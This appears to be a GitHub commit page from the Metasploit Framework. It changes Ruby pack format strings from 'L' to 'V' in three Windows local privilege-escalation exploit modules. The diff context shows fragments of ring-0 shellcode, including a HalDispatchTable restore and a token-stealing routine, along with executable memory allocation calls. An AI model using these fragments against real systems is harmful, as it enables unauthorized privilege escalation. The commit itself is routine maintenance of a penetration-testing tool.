Skip to content

Commit d8e82b9

Browse files
author
HD Moore
committed
Lands rapid7#3655, fixes pack operators
the commit. he commit.
2 parents e656a81 + 0cc3bdf commit d8e82b9

File tree

3 files changed

+9
-9
lines changed

3 files changed

+9
-9
lines changed

modules/exploits/windows/local/mqac_write.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -123,8 +123,8 @@ def exploit
123123

124124
this_proc = session.sys.process.open
125125
unless this_proc.memory.writable?(base_addr)
126-
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('L'), nil,
127-
[0xffff].pack('L'),
126+
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('V'), nil,
127+
[0xffff].pack('V'),
128128
'MEM_COMMIT|MEM_RESERVE',
129129
'PAGE_EXECUTE_READWRITE')
130130
end

modules/exploits/windows/local/ms_ndproxy.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -90,15 +90,15 @@ module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In o
9090

9191
def ring0_shellcode(t)
9292
restore_ptrs = "\x31\xc0" # xor eax, eax
93-
restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('L') # mov eax, offset hal!HaliQuerySystemInformation
94-
restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('L') # mov dword ptr [nt!HalDispatchTable+0x4], eax
93+
restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
94+
restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
9595

9696
ring0_shellcode = restore_ptrs + token_stealing_shellcode(t)
9797
ring0_shellcode
9898
end
9999

100100
def fill_memory(proc, address, length, content)
101-
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('L'), nil, [length].pack('L'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
101+
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('V'), nil, [length].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
102102
unless proc.memory.writable?(address)
103103
vprint_error('Failed to allocate memory')
104104
return nil

modules/exploits/windows/local/novell_client_nwfs.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,7 @@ def open_device(dev)
7979

8080
def find_sys_base(drvname)
8181
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
82-
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
82+
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('V*')
8383

8484
addresses.each do |address|
8585
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
@@ -98,8 +98,8 @@ def find_sys_base(drvname)
9898

9999
def ring0_shellcode(t)
100100
restore_ptrs = "\x31\xc0" # xor eax, eax
101-
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation
102-
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax
101+
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
102+
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
103103

104104
tokenstealing = "\x52" # push edx # Save edx on the stack
105105
tokenstealing << "\x53" # push ebx # Save ebx on the stack
@@ -125,7 +125,7 @@ def ring0_shellcode(t)
125125

126126
def fill_memory(proc, address, length, content)
127127

128-
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
128+
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
129129

130130
if not proc.memory.writable?(address)
131131
vprint_error("Failed to allocate memory")

0 commit comments

Comments
 (0)